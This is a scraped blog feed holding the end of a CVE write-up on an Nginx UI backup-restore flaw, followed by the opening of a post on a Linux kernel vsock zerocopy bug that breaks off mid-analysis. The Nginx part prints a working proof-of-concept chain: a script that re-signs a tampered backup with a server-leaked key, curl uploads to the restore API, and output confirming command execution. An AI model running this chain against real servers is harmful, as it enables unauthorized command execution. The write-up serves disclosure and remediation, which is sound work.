    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;outer&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nf"&gt;read_bytes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sha256&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;size&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;manifest&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;files&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;manifest&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;files&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;manifest_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;manifest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;separators&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;outer&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;manifest.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;write_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;manifest_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;signing_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;nginx-ui-backup-signing-v1:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;outer&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;manifest.sig&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;write_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hmac&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signing_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;manifest_bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="n"&gt;PY&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's not an exaggeration to say this block &lt;strong&gt;is&lt;/strong&gt; the vulnerability, essentially in its entirety. The first half — recomputing each file's &lt;code&gt;sha256&lt;/code&gt;/&lt;code&gt;size&lt;/code&gt; and updating &lt;code&gt;manifest.json&lt;/code&gt; accordingly — is unremarkable logic on its own: "content changed, so update the manifest to match." The problem is the last two lines. &lt;code&gt;signing_key = SHA256(b"nginx-ui-backup-signing-v1:" + key)&lt;/code&gt; is &lt;strong&gt;the exact same formula&lt;/strong&gt; as the server's &lt;code&gt;deriveSigningKey()&lt;/code&gt;, and the &lt;code&gt;key&lt;/code&gt; used here is the very value the attacker obtained directly from the server's response in Step 1. The fact that a "signing secret" that's supposed to be known only to the server can actually be computed identically on both sides — from a value sitting in the attacker's hands — is proven in four lines of code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Package the tampered backup and send it to the restore API
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/outer"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; zip &lt;span class="nt"&gt;-qr&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/malicious-restore.zip"&lt;/span&gt; manifest.sig nginx-ui.zip nginx.zip manifest.json&lt;span class="o"&gt;)&lt;/span&gt;

curl &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BASE&lt;/span&gt;&lt;span class="s2"&gt;/api/restore"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"restore_nginx=false"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"restore_nginx_ui=true"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"verify_hash=true"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"security_token=&lt;/span&gt;&lt;span class="nv"&gt;$SEC&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"backup_file=@&lt;/span&gt;&lt;span class="nv"&gt;$TMP&lt;/span&gt;&lt;span class="s2"&gt;/malicious-restore.zip"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The re-signed &lt;code&gt;manifest.sig&lt;/code&gt;, the re-encrypted &lt;code&gt;nginx-ui.zip&lt;/code&gt;, the untouched &lt;code&gt;nginx.zip&lt;/code&gt;, and the updated &lt;code&gt;manifest.json&lt;/code&gt; are zipped back into one package and uploaded. &lt;code&gt;restore_nginx=false&lt;/code&gt; leaves nginx's own configuration untouched, while &lt;code&gt;restore_nginx_ui=true&lt;/code&gt; targets only Nginx UI's own configuration (&lt;code&gt;app.ini&lt;/code&gt;) for restore. &lt;code&gt;verify_hash=true&lt;/code&gt; requests "don't skip verification, do it properly" — and the fact that this exact verification is something the attacker can pass too is the entire point of this PoC. &lt;code&gt;security_token=$SEC&lt;/code&gt; sends back the &lt;code&gt;key:iv&lt;/code&gt; obtained in Step 1 unchanged, getting the server to re-verify using "the key it itself issued."&lt;/p&gt;

&lt;h3&gt;
  
  
  Wait for it to apply, then finish with an ordinary "test configuration" call
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sleep &lt;/span&gt;10
&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;1 80&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;curl &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BASE&lt;/span&gt;&lt;span class="s2"&gt;/api/settings"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;break
  sleep &lt;/span&gt;0.5
&lt;span class="k"&gt;done

&lt;/span&gt;curl &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BASE&lt;/span&gt;&lt;span class="s2"&gt;/api/nginx/test"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CONTAINER&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; sh &lt;span class="nt"&gt;-lc&lt;/span&gt; &lt;span class="s1"&gt;'cat /tmp/nginx-ui-restore-rce'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It takes the nginx-ui process a short moment to reload its configuration right after a restore, so the script briefly polls until &lt;code&gt;/api/settings&lt;/code&gt; responds normally again. The &lt;code&gt;POST /api/nginx/test&lt;/code&gt; call that follows isn't some special attack-only endpoint — it's &lt;strong&gt;the exact same API the "test configuration" button in the UI calls during everyday use.&lt;/strong&gt; If everything up to this point succeeded, command execution is confirmed by checking that &lt;code&gt;/tmp/nginx-ui-restore-rce&lt;/code&gt;, viewed via &lt;code&gt;docker exec&lt;/code&gt;, contains the string &lt;code&gt;restored-rce&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{"nginx_ui_restored":true,"nginx_restored":false,"hash_match":true}
{"message":"","level":-1,"test_scope":"global"}
restored-rce
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three lines of output summarize the entire attack. The restore was approved "normally" (&lt;code&gt;hash_match: true&lt;/code&gt;), the config-test call returned as it always does, and that one ordinary-looking call left behind a file proving it actually executed a command the attacker had planted.&lt;/p&gt;




&lt;h2&gt;
  
  
  The patch — anchoring signature verification back to "a secret only the server knows"
&lt;/h2&gt;

&lt;p&gt;Nginx UI 2.5.0 fixed this structurally. The fix direction described in the GitHub security advisory:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Backups are now distinguished by trust level — a backup made by "this server, right now" and a portable backup "brought in from somewhere else" should never be trusted equally.&lt;/li&gt;
&lt;li&gt;A backup made by the current server is authenticated with a &lt;strong&gt;secret the server holds directly&lt;/strong&gt;, and restore is rejected if the signature isn't valid.&lt;/li&gt;
&lt;li&gt;Even on the portable/AES restore path, protected settings like &lt;code&gt;TestConfigCmd&lt;/code&gt; are now &lt;strong&gt;always preserved regardless of what the restore payload contains&lt;/strong&gt; — the backup file's content is simply no longer able to overwrite fields like that at all.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;app.ini&lt;/code&gt; is now parsed into a strongly-typed configuration structure, and the entire staged restore tree is validated before anything touches the live configuration path.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The principle this case illustrates is clear. A signature or HMAC-based integrity mechanism only means something &lt;strong&gt;when the secret used to verify it is outside the control of whoever is supplying the data being verified.&lt;/strong&gt; When reviewing a design that assumes "it's signed with this key, so it's safe," you need to trace exactly where that key comes from — is it a secret the server permanently holds, or a value that arrived mixed into this particular request? And any feature like restore or import — one that "overwrites a trusted state wholesale" — implicitly exercises far more authority than an ordinary settings-change API, which means it needs a separate, stricter standard of verification.&lt;/p&gt;




&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Update Nginx UI to 2.5.0 or later immediately.&lt;/li&gt;
&lt;li&gt;Until you update, minimize the number of admin accounts that can reach the backup/restore feature, and audit how exposed admin session tokens might be (shared environments, logging, etc.).&lt;/li&gt;
&lt;li&gt;Check access logs for &lt;code&gt;/api/restore&lt;/code&gt;, &lt;code&gt;/api/backup&lt;/code&gt;, and &lt;code&gt;/api/nginx/test&lt;/code&gt; for an unusually tight sequence of backup-restore-test calls.&lt;/li&gt;
&lt;li&gt;If exposure is possible, verify that command-execution-adjacent settings in &lt;code&gt;app.ini&lt;/code&gt;'s &lt;code&gt;[nginx]&lt;/code&gt; section — &lt;code&gt;TestConfigCmd&lt;/code&gt; included — are exactly what they should be, and where possible, restore configuration from a backup taken at a trusted point in time.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>cve</category>
      <category>nginx</category>
    </item>
    <item>
      <title>CVE-2026-53365 Explained: The Kernel Zerocopy Bug That Only Tracked the Last Fragment</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Sun, 18 Oct 2026 02:49:46 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-53365-explained-the-kernel-zerocopy-bug-that-only-tracked-the-last-fragment-3ge3</link>
      <guid>https://dev.to/guidance_white/cve-2026-53365-explained-the-kernel-zerocopy-bug-that-only-tracked-the-last-fragment-3ge3</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyokedqkbikjpzbje7tzx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyokedqkbikjpzbje7tzx.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-53365&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected product&lt;/td&gt;
&lt;td&gt;Linux kernel's vsock/virtio (virtio-vsock) subsystem&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;6.7 through 7.0.10 (and corresponding stable branches)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;7.0.11, 6.12.97, and vendor backports&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS&lt;/td&gt;
&lt;td&gt;Red Hat's assessment: CVSS 3.1 &lt;code&gt;AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt; — NVD and some scanners score it 5.5 (Medium) instead, framing it purely as a memory-leak issue&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;CWE-401 (Missing Release of Memory after Effective Lifetime), CWE-404 (Improper Resource Shutdown) — a public PoC extends this into a Use-After-Free / reference-count underflow and demonstrates local privilege escalation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported by&lt;/td&gt;
&lt;td&gt;sashiko, while reviewing an earlier commit (1cb36e252211) that fixed MSG_ZEROCOPY pinned-page accounting — this CVE itself predates that commit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Precondition&lt;/td&gt;
&lt;td&gt;Local code execution, with &lt;code&gt;io_uring&lt;/code&gt; enabled and &lt;code&gt;/dev/vsock&lt;/code&gt; reachable (often mode &lt;code&gt;0666&lt;/code&gt; by default, making it accessible to ordinary users on many systems)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This one is a different kind of CVE than the web-application flaws covered so far on this blog. The attack surface isn't an HTTP request — it's &lt;strong&gt;kernel socket buffer (skb) reference counting&lt;/strong&gt; — and the victim isn't a server; it's &lt;strong&gt;the kernel of the machine itself&lt;/strong&gt;. &lt;code&gt;AF_VSOCK&lt;/code&gt; is a socket family that lets a VM and its host, or processes on the same machine, communicate without going through the TCP/IP stack, and &lt;code&gt;MSG_ZEROCOPY&lt;/code&gt; speeds that communication up by &lt;strong&gt;pinning userspace pages directly&lt;/strong&gt; instead of copying data into kernel buffers.&lt;/p&gt;

&lt;p&gt;Pinning a page is a guarantee: that page won't be reused for anything else until the transfer finishes. Break that guarantee, and you get exactly the setup for a classic &lt;strong&gt;Use-After-Free-class memory corruption&lt;/strong&gt;: userspace still believes it can write to the page, while the kernel has already handed the same physical page off for something else. This CVE starts with the fact that, when a large message gets split into multiple skbs, pin-release tracking worked correctly for &lt;strong&gt;only one of them.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Where the flaw lives — the send loop that splits a large message into skbs
&lt;/h2&gt;

&lt;p&gt;virtio-vsock's &lt;code&gt;virtio_transport_send_pkt_info()&lt;/code&gt; fills outgoing skbs sized to fit the virtqueue, one at a time, as it works through the message being sent. For a &lt;code&gt;MSG_ZEROCOPY&lt;/code&gt; transfer, each skb that pins a userspace page needs a &lt;code&gt;ubuf_info&lt;/code&gt; structure (commonly shortened to &lt;code&gt;uarg&lt;/code&gt;) attached to it — this is what carries the completion notification telling userspace "this skb has been transmitted, so the page it pinned can be reused now."&lt;/p&gt;




&lt;h2&gt;
  
  
  Step-by-step source analysis
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwf3m395h8qyumevpmwpb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwf3m395h8qyumevpmwpb.png" alt=" " width="800" height="1387"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1 — the correct design: pinning and completion notification must be paired 1:1
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;MSG_ZEROCOPY&lt;/code&gt;'s basic contract is simple: pin a page to send it, and the skb carrying that page must fire its completion callback &lt;strong&gt;exactly once&lt;/strong&gt; — either when it's actually transmitted or when it's discarded — and the pin gets released inside that callback. Existing transports like TCP honor this contract by attaching a &lt;code&gt;uarg&lt;/code&gt; to every single skb, no exceptions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — the flaw: the &lt;code&gt;uarg&lt;/code&gt; is attached only to the "last" skb (before the fix)
&lt;/h3&gt;

&lt;p&gt;When virtio-vsock's send loop split a message across multiple skbs, the pre-fix code only created and attached a &lt;code&gt;uarg&lt;/code&gt; under this specific condition (reconstructed from the diff published in the official kernel patch email):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// net/vmw_vsock/virtio_transport_common.c (before the fix, reconstructed from the public patch mail)&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;total_len&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;skb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;virtio_transport_alloc_skb&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="cm"&gt;/* attach zerocopy completion tracking only if this skb is the LAST fragment of the message */&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;msg_flags&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;MSG_ZEROCOPY&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
        &lt;span class="n"&gt;skb_len&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;rest_len&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;op&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;VIRTIO_VSOCK_OP_RW&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;virtio_transport_init_zcopy_skb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vsk&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                             &lt;span class="n"&gt;pkt_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;can_zcopy&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;kfree_skb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;ret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ENOMEM&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;virtio_transport_inc_tx_pkt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vvs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inside &lt;code&gt;virtio_transport_init_zcopy_skb()&lt;/code&gt;, a &lt;code&gt;uarg&lt;/code&gt; gets allocated via &lt;code&gt;msg_zerocopy_realloc()&lt;/code&gt; and attached with &lt;code&gt;skb_zcopy_init(skb, uarg)&lt;/code&gt; — but that entire call only happens when &lt;code&gt;skb_len == rest_len&lt;/code&gt;, meaning "filling this skb brings the remaining length to zero, i.e., this is the true last fragment of the message." Whenever a message doesn't fit in a single skb and gets split into several, &lt;strong&gt;every skb except the last one skips this block entirely.&lt;/strong&gt; Those skbs still pin userspace pages exactly the same way and get queued for transmission — but nothing tracks the completion that pin is supposed to be paired with.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — the root cause: when an untracked skb gets freed, the pin count drops one extra time
&lt;/h3&gt;

&lt;p&gt;The problem isn't just "mid-sequence skbs have no &lt;code&gt;uarg&lt;/code&gt;" — it's &lt;strong&gt;what happens when those skbs get freed normally.&lt;/strong&gt; Even without a &lt;code&gt;uarg&lt;/code&gt;, once transmission finishes the kernel frees the skb the ordinary way, and as part of that it calls &lt;code&gt;put_page()&lt;/code&gt; on the page it was holding. On the correct path (TCP, for example), the reference bumped at pin time is matched exactly once by the completion callback decrementing it back. On this flawed path, &lt;strong&gt;the completion callback that's supposed to be the matching half simply doesn't exist&lt;/strong&gt;, and &lt;code&gt;put_page()&lt;/code&gt; fires on its own.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
